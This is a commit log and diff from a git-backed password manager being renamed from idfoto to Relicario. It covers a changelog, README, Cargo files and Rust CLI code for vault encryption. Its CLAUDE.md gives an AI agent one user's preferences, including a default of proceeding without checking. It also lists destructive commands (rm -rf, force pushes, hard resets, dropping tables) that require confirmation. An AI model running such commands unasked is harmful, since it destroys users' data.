Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 09:42:08 -04:00
adlee-was-taken
7cf7960aff feat: add git API layer with Gitea and GitHub implementations
GitHost interface for reading/writing vault files via REST API.
Gitea and GitHub implementations handle base64 content encoding,
SHA-based updates, and directory listing.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 09:42:02 -04:00
adlee-was-taken
71f7bf9797 feat: add shared types and message definitions
Entry, Manifest, VaultConfig types mirroring the Rust data model, plus
a discriminated-union Request type for all popup/content-to-service-worker messages.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 09:41:58 -04:00
adlee-was-taken
6866250f78 feat: add extension scaffolding
Manifest, package.json, tsconfig, webpack config, popup HTML shell,
WASM type declarations, and .gitignore entries for the Chrome MV3 extension.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 09:41:54 -04:00
adlee-was-taken
98c20b613c feat: add idfoto-wasm crate with wasm-bindgen wrappers and TOTP
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 09:30:51 -04:00
adlee-was-taken
eae8fd4a24 fix: preserve group field in manifest during cmd_edit
The ManifestEntry was being written with group: None instead of
preserving the entry's existing group value during edits.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 09:27:43 -04:00
adlee-was-taken
7baec1cd67 feat: add group field to Entry and ManifestEntry
Add optional group: Option<String> to both Entry and ManifestEntry for
logical organization (e.g. "work", "personal"). Backwards-compatible via
skip_serializing_if so existing vaults deserialize with group: None.
Includes three new tests verifying round-trip and legacy deserialization.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-12 09:25:18 -04:00
adlee-was-taken
c7aab28484 docs: fix zig-zag position numbering and luminance rationale in imgsecret
Corrected zig-zag scan positions from 4-15 to 6-17 (verified against
standard JPEG zig-zag ordering). Fixed inverted HVS luminance reasoning
to correctly explain that luminance is used because it isn't spatially
subsampled by JPEG, not because of visual sensitivity.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 09:23:16 -04:00
adlee-was-taken
847051216d docs: add comprehensive doc comments to all Rust source files
Document every public function, struct, field, constant, and non-trivial
private function across idfoto-core and idfoto-cli. Module-level docs
explain each module's role in the architecture. Comments explain the "why"
(crypto choices, algorithm design, data model rationale) not just the "what".

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 09:01:48 -04:00
adlee-was-taken
0d374f3faf chore: add .worktrees/ to .gitignore
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 00:19:48 -04:00
adlee-was-taken
822547f349 docs: add Task 0 for heavy Rust code documentation
Adds a pre-implementation task to thoroughly document all existing
Rust code in idfoto-core and idfoto-cli with doc comments explaining
the crypto pipeline, steganography algorithm, and vault data model.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 00:15:33 -04:00
adlee-was-taken
01d5fd5d0d docs: add WASM + Chrome MV3 extension implementation plan
11 tasks covering core data model changes, WASM crate with TOTP,
extension scaffolding, git API layer, service worker, popup UI
with terminal aesthetic, content script autofill, and build integration.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 00:14:03 -04:00
adlee-was-taken
596daf320a docs: add WASM + Chrome MV3 extension design spec
Plan 2 design covering idfoto-wasm crate, Chrome extension with
terminal-aesthetic popup, conservative autofill, Gitea/GitHub API
integration, and TOTP code generation.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-12 00:05:31 -04:00
263 changed files with 98404 additions and 1817 deletions

5
.claude/settings.json Normal file
View File

@@ -0,0 +1,5 @@
{
"enabledPlugins": {
"superpowers@claude-plugins-official": true
}
}

7
.gitignore vendored
View File

@@ -1,2 +1,9 @@
target/
.superpowers/
.worktrees/
extension/node_modules/
extension/dist/
extension/dist-firefox/
extension/wasm/
reference.jpg
ref.jpg

128
CHANGELOG.md Normal file
View File

@@ -0,0 +1,128 @@
# Changelog
## Unreleased
### Added
- **Sync now button** in the extension settings view — surfaces the
previously hidden `{ type: 'sync' }` SW message to users with success /
error feedback.
- **Device registration from the popup.** The "Register this device"
button on the devices view now opens an inline name input and (on
confirm) generates a keypair via WASM, persists the private key + name
locally, and writes the device to the remote — no setup-wizard detour.
Backed by a new `register_this_device` SW message.
- **`relicario settings generator-defaults`** — view-and-edit access to the
generator defaults stored in `VaultSettings`. Flags: `--random` /
`--bip39` to switch mode, `--length`, `--words`, `--symbols`,
`--separator` to update fields of the active mode.
- **`relicario edit` now supports TOTP items.** Issuer, label, and secret
rotation work; rotated secrets are pushed to `field_history` (key:
`core:totp_secret`).
- **`relicario history <query>`** — view captured field history. Values
are masked by default; `--show` reveals them; `--field <name>` filters
to one synthetic key (e.g. `login_password`, `totp_secret`).
- **`relicario detach <query> <aid>`** — remove an individual attachment
from an item. Refuses to drop a Document item's primary attachment
(use `purge` instead).
- **`relicario status`** — vault summary: root path, item count
(active / trashed), attachment count + total bytes, registered device
count, last commit (`%h %s`).
- **Backup & restore.** New `relicario backup export <out.relbak>` and
`relicario backup restore <in.relbak> [<dir>]` commands. The `.relbak`
format is a single encrypted file: Argon2id-derived key from a
user-chosen backup passphrase (independent of the vault factor),
XChaCha20-Poly1305 ciphertext, zstd-compressed JSON envelope.
Reference image and `.git/` history are opt-in inclusions
(`--include-image`, `--no-history`).
- **Vault-tab Backup & Restore panel.** Export downloads the
`.relbak` via `chrome.downloads`. Restore takes a file + backup
passphrase + new-remote config and writes the vault into a fresh
empty repo (refuses to clobber existing). Git history is never
bundled from the extension — CLI is the source of full backups.
- **LastPass CSV import.** New `relicario import lastpass <csv>`
command + vault-tab Import panel (`vault.html#import`).
Logins map to `Login` items; rows with `url == "http://sn"`
map to `SecureNote` (extra column → body verbatim, structured
data preserved as-is for manual re-categorization). TOTP
secrets in the `totp` column are base32-decoded into
`LoginCore.totp`; bad base32 surfaces a warning and the login
is imported without TOTP. Failed rows (missing `name`, missing
password on a login) are skipped with a per-row warning.
Each row gets a freshly-minted ID — re-running the import
creates duplicates rather than corrupting state.
- **Popup deep link to the Import panel.** `settings-vault`
gains an "import" section with a `LastPass CSV →` button
next to the existing `Backup & restore →` button.
- **`relicario status` shows last export age.** New `Last export:
<human-readable>` line reading `.relicario/last_backup` (a marker
file `cmd_backup_export` writes on success). Reads "never" for
fresh vaults, "4 days ago" otherwise.
### Known limitations
- **Mid-restore failure leaves the target remote in a half-written
state.** `cmd_backup_restore` and the vault-tab Restore panel both
write artifacts sequentially via `writeFileCreateOnly`. If the
process is interrupted partway, a retry against the same remote
refuses to clobber. Workaround: delete the partial repo and retry.
- **Cross-tool backup compatibility.** CLI-exported backups stored
attachments at `<item_id>/<aid>.enc`; extension stores at flat
`<aid>.bin`. The `.relbak` envelope canonicalizes to `<item_id>/<aid>`
keys and each tool translates at the boundary. Round-trip works in
both directions.
### Internal
- Refactored `cmd_add` and `cmd_edit` in the CLI: each `ItemCore` variant
now has its own `build_*_item` / `edit_*` helper. Pure mechanical
extraction; behavior unchanged. The dispatcher matches and delegates.
- Extracted pure helpers (`escapeHtml`, `ratePassphrase`, `scheduleRate`,
`entropyText`, `STRENGTH_LABELS`) from `extension/src/setup/setup.ts`
into `setup-helpers.ts`. State-coupled `updateStrengthUi` stays in
`setup.ts` since it walks live wizard state. Setup.ts went from
1205 → 1137 lines.
### Changed
- `relicario generate` now consults `VaultSettings.generator_defaults` when
invoked inside an initialized vault. Explicit flags (`--length`,
`--bip39`, `--words`, `--symbols`, `--separator`) override the vault
default. Outside a vault, behavior is unchanged (length 20, safe symbol
set, 5 BIP39 words, space separator).
## v0.2.0 — 2026-04-27
### Fixed
- **Setup wizard could silently overwrite an existing vault.** Pointing the
wizard at a remote that already contained a Relicario vault would clobber
`manifest.enc`, `.relicario/salt`, and friends with no warning. The wizard
now probes the remote after the connection test and refuses to create a
new vault on top of an existing one. Affected users whose vault was wiped
by this bug should restore from the git history of the affected repo
(`git log` + `git checkout <pre-init-sha> -- .`).
- **New devices registered during initial setup were silently dropped.** The
wizard's Step 5 fired `add_device` over a service-worker channel that
required an unlocked vault, which is unavailable mid-wizard. Device pubkeys
now write directly to `.relicario/devices.json` from the wizard.
- **Wizard-created vaults were missing `settings.enc`.** The CLI's `init`
writes a default-`VaultSettings` `settings.enc` alongside `manifest.enc`,
but the wizard skipped it, causing every `get_vault_settings` SW call to
404. The wizard now encrypts and writes `settings.enc` using a new
`default_vault_settings_json` WASM helper that keeps defaults in sync
with Rust core.
### Added
- **Attach this device to an existing vault — purely from the GUI.** New
Step 0 mode picker splits the wizard into "create new vault" and "attach
this device." The attach path takes a passphrase + reference image, fetches
the existing manifest, verifies the credentials by decrypting it, and only
then registers a new device key. No CLI required for multi-device setup.
- `GitHost.lastCommit(path)` and `GitHost.writeFileCreateOnly(path, ...)`.
- `default_vault_settings_json()` WASM export.
## v0.1.0 — 2026-04-22
Initial release.

View File

@@ -1,41 +1,61 @@
# CLAUDE.md — idfoto
# CLAUDE.md — Relicario
## Working with the user
- **Default to "yes" / the recommended option.** When asking the user a multiple-choice or yes/no decision, pick the recommended answer and proceed without prompting. Optional follow-ups in checklists: do them. Subagent dispatch / running tests / writing code: proceed without checking.
- **Always pause and ask** before: `rm`, `rm -rf`, `git push --force`, `git reset --hard`, `git branch -D`, deleting files via Bash, dropping tables, force-pushing to main. The system-prompt's "executing actions with care" guidance still applies — this preference does not override that.
- This rule does not override genuine intent-discovery: brainstorming-skill clarifying questions about *what to build* still need user input, because picking a default would mean designing the wrong product.
- **Sprinkle Mexican Spanish into replies.** Drop 12 Spanish words, slang, exclamations, or idioms per reply (replies only — never in code, file contents, commit messages, or other project artifacts), each followed by `[translation]` in square brackets. Mexican flavor is preferred: ¡órale! [alright!], ¡híjole! [yikes!], ¿qué onda? [what's up?], chido [cool], ahorita [right now / in a bit], no manches [no way], ni modo [oh well], no hay bronca [no problem], ¡ya estuvo! [it's done], etc. Skip in one-word acknowledgements where the flourish would feel awkward.
## What is this
idfoto is a git-backed, self-hostable password manager with a Rust core. Two-factor vault decryption: passphrase + a reference JPEG carrying a 256-bit secret embedded via DCT steganography. The server only ever sees opaque ciphertext.
Relicario is a git-backed, self-hostable password manager with a Rust core. Two-factor vault decryption: passphrase + a reference JPEG carrying a 256-bit secret embedded via DCT steganography. The server only ever sees opaque ciphertext.
## Build and test
```bash
cargo build # build everything
cargo test # run all tests (unit + integration)
cargo test -p idfoto-core # core library tests only
cargo run -- --help # CLI help
cargo run -- generate -l 32 # quick smoke test
cargo test -p relicario-core # core library tests only
cargo test -p relicario-cli --test basic_flows # CLI integration tests
cargo build -p relicario-wasm --target wasm32-unknown-unknown # WASM target
cargo run -p relicario-cli -- --help # CLI help
cargo run -p relicario-cli -- generate --length 32 # quick smoke test
```
## Project structure
```
crates/
├── idfoto-core/ # Platform-agnostic library (no filesystem, no git, no network)
├── relicario-core/ # Platform-agnostic library (no filesystem, no git, no network)
│ ├── src/
│ │ ├── lib.rs # Re-exports public API
│ │ ├── error.rs # IdfotoError enum (thiserror)
│ │ ├── crypto.rs # Argon2id KDF + XChaCha20-Poly1305 encrypt/decrypt
│ │ ├── entry.rs # Entry, ManifestEntry, Manifest structs (serde)
│ │ ├── vault.rs # encrypt_entry, decrypt_entry, encrypt_manifest, decrypt_manifest
│ │ ── imgsecret.rs # DCT-based 256-bit secret embedding in JPEGs
── tests/
── integration.rs # Full-workflow and two-factor independence tests
└── idfoto-cli/ # CLI binary
└── src/
── main.rs # clap CLI: init, add, get, list, edit, rm, sync, generate, device
│ │ ├── error.rs # RelicarioError enum (thiserror)
│ │ ├── crypto.rs # Argon2id KDF (length-prefixed, Zeroizing) + XChaCha20-Poly1305
│ │ ├── ids.rs # ItemId, FieldId, content-addressed AttachmentId
│ │ ├── time.rs # now_unix, MonthYear
│ │ ── item_types/ # per-type cores + ItemType/ItemCore enums
│ ├── item.rs # Item envelope, Field, FieldKind, FieldValue, Section
── attachment.rs # AttachmentRef, EncryptedAttachment, encrypt/decrypt helpers
│ │ ├── manifest.rs # Browse-without-decrypt index (schema_version 2)
│ ├── settings.rs # VaultSettings: retention, generator defaults, caps
── generators.rs # CSPRNG password + BIP39 + zxcvbn gate
│ │ ├── vault.rs # JSON ↔ AEAD wrappers for Item/Manifest/VaultSettings
│ │ └── imgsecret.rs # DCT steganography (MAX_DIMENSION cap)
│ └── tests/ # integration.rs, attachments.rs, generators.rs, format_v2.rs, field_history.rs
├── relicario-cli/ # `relicario` binary
│ ├── src/main.rs # clap surface + command handlers
│ ├── src/helpers.rs # vault_dir, git_command, iso8601
│ ├── src/session.rs # UnlockedVault (master key in Zeroizing)
│ └── tests/ # basic_flows, edit_and_history, attachments, settings, vault_detection
└── relicario-wasm/ # WASM bindings for the extension
├── src/lib.rs # #[wasm_bindgen] surface
└── src/session.rs # opaque SessionHandle → Zeroizing<[u8;32]>
```
## Key design decisions
- **idfoto-core is bytes-in/bytes-out.** No filesystem, no network, no git operations. Makes it portable to WASM, Android, iOS.
- **relicario-core is bytes-in/bytes-out.** No filesystem, no network, no git operations. Makes it portable to WASM, Android, iOS.
- **XChaCha20-Poly1305** over AES-GCM — 192-bit nonce eliminates collision risk, fast in WASM/ARM without AES-NI.
- **Single master_key** (no per-entry subkeys) — simpler, sufficient for family vault sizes.
- **imgsecret uses central-embed DCT** — embeds only in the middle 70% of the image (15% crumple zone for crop tolerance), with majority voting across 5-50 redundant copies.
@@ -49,24 +69,24 @@ passphrase (UTF-8 bytes) || image_secret (32 bytes from reference JPEG)
→ Argon2id(salt=vault_salt, m=64MiB, t=3, p=4)
→ master_key (32 bytes)
→ XChaCha20-Poly1305(nonce=random 24 bytes)
→ encrypted entry/manifest
→ encrypted Item/Manifest/VaultSettings
```
## Conventions
- Tests use fast Argon2id params (m=256, t=1, p=1) so they don't take forever.
- Test JPEGs are generated synthetically via `make_test_jpeg()` — no binary test fixtures.
- Entry IDs are random 8-char hex strings.
- Item IDs are random 8-char hex strings.
- Git history is preserved as an audit log — no squashing.
- The CLI shells out to `git` for sync — no libgit2/gitoxide dependency.
## Remote
Source code: `ssh://git@git.adlee.work:2222/alee/idfoto.git`
Source code: `ssh://git@git.adlee.work:2222/alee/relicario.git`
## Design spec
Full threat model, entropy analysis, and architecture: `docs/superpowers/specs/2026-04-11-idfoto-design.md`
Full threat model, entropy analysis, and architecture: `docs/superpowers/specs/2026-04-11-relicario-design.md`
## Roadmap

1642
Cargo.lock generated

File diff suppressed because it is too large Load Diff

View File

@@ -1,6 +1,8 @@
[workspace]
resolver = "2"
members = [
"crates/idfoto-core",
"crates/idfoto-cli",
"crates/relicario-core",
"crates/relicario-cli",
"crates/relicario-wasm",
"crates/relicario-server",
]

110
README.md
View File

@@ -1,4 +1,8 @@
# idfoto
<p align="center">
<img src="extension/icons/relicario-logo.svg" alt="Relicario" width="128" height="128">
</p>
# Relicario
A git-backed, self-hostable password manager where decryption requires two independent factors: a passphrase you memorize and a reference JPEG that carries a hidden secret. Compromise of either factor alone is insufficient.
@@ -19,7 +23,7 @@ Your reference photo (something you have)
your device (opaque ciphertext)
```
At vault creation, idfoto embeds a random 256-bit secret into a carrier JPEG using DCT steganography. This photo becomes your **reference image** — a second factor that lives on your devices (and optionally as a "dead drop" on social media, since it survives JPEG re-encoding and mild cropping).
At vault creation, Relicario embeds a random 256-bit secret into a carrier JPEG using DCT steganography. This photo becomes your **reference image** — a second factor that lives on your devices (and optionally as a "dead drop" on social media, since it survives JPEG re-encoding and mild cropping).
To unlock the vault, you provide your passphrase and point the client at the reference image. The client extracts the hidden secret, concatenates it with your passphrase, and runs Argon2id to derive the master key. Everything else follows from there.
@@ -29,10 +33,12 @@ To unlock the vault, you provide your passphrase and point the client at the ref
A git repository containing:
- `manifest.enc` — opaque binary blob
- `entries/*.enc` — more opaque binary blobs
- `.idfoto/salt` — a random 32-byte value (not secret)
- `.idfoto/params.json` — Argon2id parameters (not secret)
- `.idfoto/devices.json` — authorized device public keys
- `items/*.enc` — more opaque binary blobs
- `attachments/<item-id>/*.enc` — encrypted attachment blobs
- `settings.enc` — encrypted vault settings
- `.relicario/salt` — a random 32-byte value (not secret)
- `.relicario/params.json` — Argon2id parameters (not secret)
- `.relicario/devices.json` — authorized device public keys
That's it. No plaintext. No metadata about what's inside. No keys, no passphrases, no reference images.
@@ -54,7 +60,7 @@ No single point of failure. The two-factor design means the passphrase alone can
| LastPass | ~40-60 bits (master password only) | 1 |
| Bitwarden | ~40-60 bits (master password only) | 1 |
| 1Password | password + 128-bit Secret Key | 2 |
| **idfoto** | **password + 256-bit image secret** | **2** |
| **Relicario** | **password + 256-bit image secret** | **2** |
### What we don't protect against
@@ -69,31 +75,31 @@ No single point of failure. The two-factor design means the passphrase alone can
cargo build --release
# Create a vault (pick any JPEG as the carrier)
idfoto init --image vacation.jpg --output reference.jpg
relicario init --image vacation.jpg --output reference.jpg
# Add a credential
idfoto add
relicario add
# Retrieve it
idfoto get github
relicario get github
# List everything
idfoto list
relicario list
# Sync with your git remote
idfoto sync
relicario sync
# Generate a random password
idfoto generate -l 32
relicario generate -l 32
```
### Environment variable
Set `IDFOTO_IMAGE=/path/to/reference.jpg` to avoid being prompted for the image path on every command.
Set `RELICARIO_IMAGE=/path/to/reference.jpg` to avoid being prompted for the image path on every command.
## The reference image
The reference JPEG is generated once during `idfoto init`. It looks like a normal photo — because it is one. The 256-bit secret is embedded in the DCT coefficients of the luminance channel using Quantization Index Modulation, with heavy redundancy and Reed-Solomon-style majority voting across multiple copies.
The reference JPEG is generated once during `relicario init`. It looks like a normal photo — because it is one. The 256-bit secret is embedded in the DCT coefficients of the luminance channel using Quantization Index Modulation, with heavy redundancy and Reed-Solomon-style majority voting across multiple copies.
The embedding survives:
- JPEG recompression (tested down to quality 85)
@@ -105,20 +111,31 @@ This means your reference image can live on your Instagram, your personal websit
## Architecture
```
idfoto/
relicario/
├── crates/
│ ├── idfoto-core/ # Platform-agnostic library (no filesystem, no network)
│ ├── relicario-core/ # Platform-agnostic library (no filesystem, no network)
│ │ ├── crypto.rs # Argon2id KDF + XChaCha20-Poly1305 AEAD
│ │ ├── imgsecret.rs # DCT steganography: embed/extract 256-bit secrets in JPEGs
│ │ ├── entry.rs # Entry, Manifest data model (serde)
│ │ ── vault.rs # Encrypt/decrypt entries and manifests
└── idfoto-cli/ # CLI binary: filesystem, git, terminal I/O
│ │ ├── item.rs # Item, Field, Manifest data model (serde)
│ │ ── item_types/ # Per-type cores (Login, SecureNote, Card, Identity, Key, Document, Totp)
│ ├── attachment.rs # Encrypted attachment helpers (content-addressed)
│ │ ├── settings.rs # VaultSettings (retention, generator defaults, caps)
│ │ ├── backup.rs # `.relbak` encrypted-backup envelope
│ │ ├── device.rs # ed25519 device keys + revocation entries
│ │ └── vault.rs # Encrypt/decrypt items, manifest, settings
│ ├── relicario-cli/ # CLI binary: filesystem, git, terminal I/O
│ ├── relicario-wasm/ # Thin wasm-bindgen wrapper for the browser extension
│ └── relicario-server/ # Pre-receive hook: device-signature verification
├── extension/ # Chrome MV3 / Firefox WebExtension (TypeScript)
└── docs/
├── ARCHITECTURE.md # System overview + flow diagrams
├── SECURITY.md # Manifest integrity model + threat notes
├── architecture/ # Cross-codebase + per-codebase architecture docs
└── superpowers/
└── specs/ # Design specification with full threat model
└── specs/ # Design specifications with full threat model
```
`idfoto-core` takes bytes and returns bytes. It has no knowledge of filesystems, git, or networks. This makes it portable to WASM (browser extension), Android (JNI), and iOS (Swift bridge).
`relicario-core` takes bytes and returns bytes. It has no knowledge of filesystems, git, or networks. This makes it portable to WASM (browser extension), Android (JNI), and iOS (Swift bridge).
### Crypto primitives
@@ -140,28 +157,33 @@ Every write generates a fresh random nonce. The version byte allows future forma
```
my-vault.git/
├── manifest.enc # Encrypted entry index (names, URLs, timestamps)
├── entries/
│ ├── a1b2c3d4.enc # One encrypted entry per file
── e5f6a7b8.enc
└── .idfoto/
├── manifest.enc # Encrypted item index (names, URLs, timestamps)
├── settings.enc # Encrypted vault settings (retention, caps, generator defaults)
├── items/
── a1b2c3d4e5f6a7b8.enc # One encrypted item per file
│ └── …
├── attachments/
│ └── <item-id>/
│ └── <aid>.enc # Content-addressed encrypted attachment blob
└── .relicario/
├── salt # 32-byte random salt (not secret)
├── params.json # KDF parameters
── devices.json # Authorized device public keys
── devices.json # Authorized device public keys
└── revoked.json # Revoked device records (when device auth is enabled)
```
Entry IDs are random hex strings. Git history is preserved — every add/edit/delete is a commit. "When was this password last rotated?" is answered by `git log`.
Item IDs are random 16-char hex strings (64 bits of entropy). Git history is preserved — every add/edit/delete is a commit. "When was this password last rotated?" is answered by `git log` and by the per-item field history.
## Device management
Each device generates its own ed25519 keypair. The public key is stored in `.idfoto/devices.json` (committed to the repo). Device keys are used for commit signing — they do NOT participate in vault decryption.
Each device generates its own ed25519 keypair. The public key is stored in `.relicario/devices.json` (committed to the repo). Device keys are used for commit signing — they do NOT participate in vault decryption.
Revoking a device: remove its key from `devices.json` and commit. No passphrase or reference image rotation needed.
```bash
idfoto device add --name laptop
idfoto device list
idfoto device revoke laptop
relicario device add --name laptop
relicario device list
relicario device revoke laptop
```
## Building
@@ -169,23 +191,27 @@ idfoto device revoke laptop
Requires Rust stable (1.70+).
```bash
git clone ssh://git@git.adlee.work:2222/alee/idfoto.git
cd idfoto
git clone ssh://git@git.adlee.work:2222/alee/relicario.git
cd relicario
cargo build --release
cargo test
```
The binary is at `target/release/idfoto`.
The binary is at `target/release/relicario`.
## Roadmap
- [ ] WASM build + Chrome browser extension (inline crypto, no native messaging)
- [ ] Secure notes (free-form encrypted text entries)
- [ ] Secure document storage (encrypted file attachments up to 5-10 MB)
- [ ] `idfoto unlock` daemon (ssh-agent-style, holds master key for a TTL)
- [x] WASM build + Chrome MV3 browser extension (inline crypto, no native messaging)
- [x] Firefox WebExtension build
- [x] Typed items: Login, SecureNote, Identity, Card, Key, Document, TOTP
- [x] Secure document storage (encrypted file attachments)
- [x] Backup & restore (`.relbak` encrypted envelope)
- [x] LastPass CSV import
- [x] Device authentication (ed25519 commit signing + pre-receive hook)
- [ ] Import from Bitwarden / 1Password
- [ ] `relicario unlock` daemon (ssh-agent-style, holds master key for a TTL)
- [ ] Android/iOS clients (Rust core compiles to ARM)
- [ ] Import from LastPass/Bitwarden/1Password
- [ ] Firefox/Safari extensions
- [ ] Safari extension
## License

View File

@@ -1,22 +0,0 @@
[package]
name = "idfoto-cli"
version = "0.1.0"
edition = "2021"
description = "CLI for idfoto password manager"
[[bin]]
name = "idfoto"
path = "src/main.rs"
[dependencies]
idfoto-core = { path = "../idfoto-core" }
clap = { version = "4", features = ["derive"] }
anyhow = "1"
rpassword = "5"
arboard = "3"
dirs = "5"
hex = "0.4"
ed25519-dalek = { version = "2", features = ["rand_core"] }
rand = "0.8"
serde = { version = "1", features = ["derive"] }
serde_json = "1"

View File

@@ -1,716 +0,0 @@
use anyhow::{bail, Context, Result};
use clap::{Parser, Subcommand};
use idfoto_core::{
decrypt_entry, decrypt_manifest, encrypt_entry, encrypt_manifest, generate_entry_id,
Entry, KdfParams, Manifest, ManifestEntry,
};
use rand::rngs::OsRng;
use rand::RngCore;
use serde::{Deserialize, Serialize};
use std::fs;
use std::io::{self, BufRead, Write};
use std::path::PathBuf;
use std::process::Command;
// ─── CLI structure ──────────────────────────────────────────────────────────
#[derive(Parser)]
#[command(
name = "idfoto",
version,
about = "Git-backed password manager with reference image authentication"
)]
struct Cli {
#[command(subcommand)]
command: Commands,
}
#[derive(Subcommand)]
enum Commands {
/// Initialize a new idfoto vault
Init {
#[arg(long)]
image: PathBuf,
#[arg(long, default_value = "reference.jpg")]
output: PathBuf,
},
/// Add a new password entry
Add,
/// Get a password entry by name
Get { name: String },
/// List all entries
List,
/// Edit an existing entry
Edit { name: String },
/// Remove an entry
Rm { name: String },
/// Sync vault with git remote
Sync,
/// Generate a random password
Generate {
#[arg(short, long, default_value = "20")]
length: usize,
},
/// Manage devices
Device {
#[command(subcommand)]
action: DeviceCommands,
},
}
#[derive(Subcommand)]
enum DeviceCommands {
/// Add a new device
Add {
#[arg(long)]
name: String,
},
/// List registered devices
List,
/// Revoke a device
Revoke { name: String },
}
// ─── Device entry ───────────────────────────────────────────────────────────
#[derive(Debug, Clone, Serialize, Deserialize)]
struct DeviceEntry {
name: String,
public_key: String, // hex-encoded
}
// ─── Helper functions ───────────────────────────────────────────────────────
fn vault_dir() -> PathBuf {
std::env::current_dir().expect("failed to get current directory")
}
fn idfoto_dir() -> PathBuf {
vault_dir().join(".idfoto")
}
fn read_salt() -> Result<[u8; 32]> {
let data = fs::read(idfoto_dir().join("salt")).context("failed to read salt")?;
let mut salt = [0u8; 32];
if data.len() != 32 {
bail!("invalid salt file: expected 32 bytes, got {}", data.len());
}
salt.copy_from_slice(&data);
Ok(salt)
}
fn read_params() -> Result<KdfParams> {
let data = fs::read_to_string(idfoto_dir().join("params.json"))
.context("failed to read params.json")?;
let params: KdfParams = serde_json::from_str(&data).context("failed to parse params.json")?;
Ok(params)
}
fn get_image_path() -> Result<PathBuf> {
if let Ok(path) = std::env::var("IDFOTO_IMAGE") {
return Ok(PathBuf::from(path));
}
let path = prompt("Reference image path")?;
Ok(PathBuf::from(path))
}
fn unlock(image_path: &PathBuf) -> Result<[u8; 32]> {
let passphrase = rpassword::prompt_password_stderr("Passphrase: ").context("failed to read passphrase")?;
let jpeg_data = fs::read(image_path).context("failed to read reference image")?;
let image_secret =
idfoto_core::imgsecret::extract(&jpeg_data).context("failed to extract image secret")?;
let salt = read_salt()?;
let params = read_params()?;
let master_key = idfoto_core::derive_master_key(passphrase.as_bytes(), &image_secret, &salt, &params)
.context("failed to derive master key")?;
Ok(master_key)
}
fn read_manifest(key: &[u8; 32]) -> Result<Manifest> {
let data = fs::read(vault_dir().join("manifest.enc")).context("failed to read manifest.enc")?;
let manifest = decrypt_manifest(key, &data).context("failed to decrypt manifest")?;
Ok(manifest)
}
fn write_manifest(key: &[u8; 32], manifest: &Manifest) -> Result<()> {
let data = encrypt_manifest(key, manifest).context("failed to encrypt manifest")?;
fs::write(vault_dir().join("manifest.enc"), data).context("failed to write manifest.enc")?;
Ok(())
}
fn git_commit(message: &str) -> Result<()> {
let status = Command::new("git")
.args(["add", "-A"])
.status()
.context("failed to run git add")?;
if !status.success() {
bail!("git add failed");
}
let status = Command::new("git")
.args(["commit", "-m", message])
.status()
.context("failed to run git commit")?;
if !status.success() {
bail!("git commit failed");
}
Ok(())
}
fn now_iso8601() -> String {
let duration = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap_or_default();
format!("{}", duration.as_secs())
}
fn prompt(message: &str) -> Result<String> {
eprint!("{}: ", message);
io::stderr().flush()?;
let mut line = String::new();
io::stdin().lock().read_line(&mut line)?;
Ok(line.trim().to_string())
}
fn prompt_optional(message: &str) -> Result<Option<String>> {
let value = prompt(message)?;
if value.is_empty() {
Ok(None)
} else {
Ok(Some(value))
}
}
fn prompt_with_default(field: &str, current: &str) -> Result<String> {
eprint!("{} [{}]: ", field, current);
io::stderr().flush()?;
let mut line = String::new();
io::stdin().lock().read_line(&mut line)?;
let trimmed = line.trim();
if trimmed.is_empty() {
Ok(current.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn generate_password(length: usize) -> String {
const CHARSET: &[u8] = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_=+";
let mut rng = OsRng;
(0..length)
.map(|_| {
let idx = (rng.next_u32() as usize) % CHARSET.len();
CHARSET[idx] as char
})
.collect()
}
// ─── Command implementations ────────────────────────────────────────────────
fn cmd_init(image: PathBuf, output: PathBuf) -> Result<()> {
// 1. Read carrier JPEG
let carrier = fs::read(&image).context("failed to read carrier image")?;
// 2. Generate random image_secret
let mut image_secret = [0u8; 32];
OsRng.fill_bytes(&mut image_secret);
// 3. Embed secret into carrier
let reference_jpeg =
idfoto_core::imgsecret::embed(&carrier, &image_secret).context("failed to embed secret")?;
// 4. Save reference JPEG
fs::write(&output, &reference_jpeg).context("failed to write reference image")?;
eprintln!("Reference image saved to {}", output.display());
// 5. Prompt for passphrase
let passphrase = loop {
let p1 = rpassword::prompt_password_stderr("Passphrase (min 8 chars): ")
.context("failed to read passphrase")?;
if p1.len() < 8 {
eprintln!("Passphrase must be at least 8 characters.");
continue;
}
let p2 = rpassword::prompt_password_stderr("Confirm passphrase: ")
.context("failed to read passphrase confirmation")?;
if p1 != p2 {
eprintln!("Passphrases do not match.");
continue;
}
break p1;
};
// 6. Generate random salt
let mut salt = [0u8; 32];
OsRng.fill_bytes(&mut salt);
// 7. Derive master key
let params = KdfParams::default();
let master_key = idfoto_core::derive_master_key(passphrase.as_bytes(), &image_secret, &salt, &params)
.context("failed to derive master key")?;
// 8. Create directory structure
let idfoto = idfoto_dir();
fs::create_dir_all(&idfoto).context("failed to create .idfoto directory")?;
fs::create_dir_all(vault_dir().join("entries")).context("failed to create entries directory")?;
// 9. Write config files
fs::write(idfoto.join("salt"), &salt).context("failed to write salt")?;
fs::write(
idfoto.join("params.json"),
serde_json::to_string_pretty(&params)?,
)
.context("failed to write params.json")?;
fs::write(idfoto.join("devices.json"), "[]").context("failed to write devices.json")?;
// 10. Encrypt empty manifest
let manifest = Manifest::new();
let manifest_enc = encrypt_manifest(&master_key, &manifest).context("failed to encrypt manifest")?;
fs::write(vault_dir().join("manifest.enc"), manifest_enc)
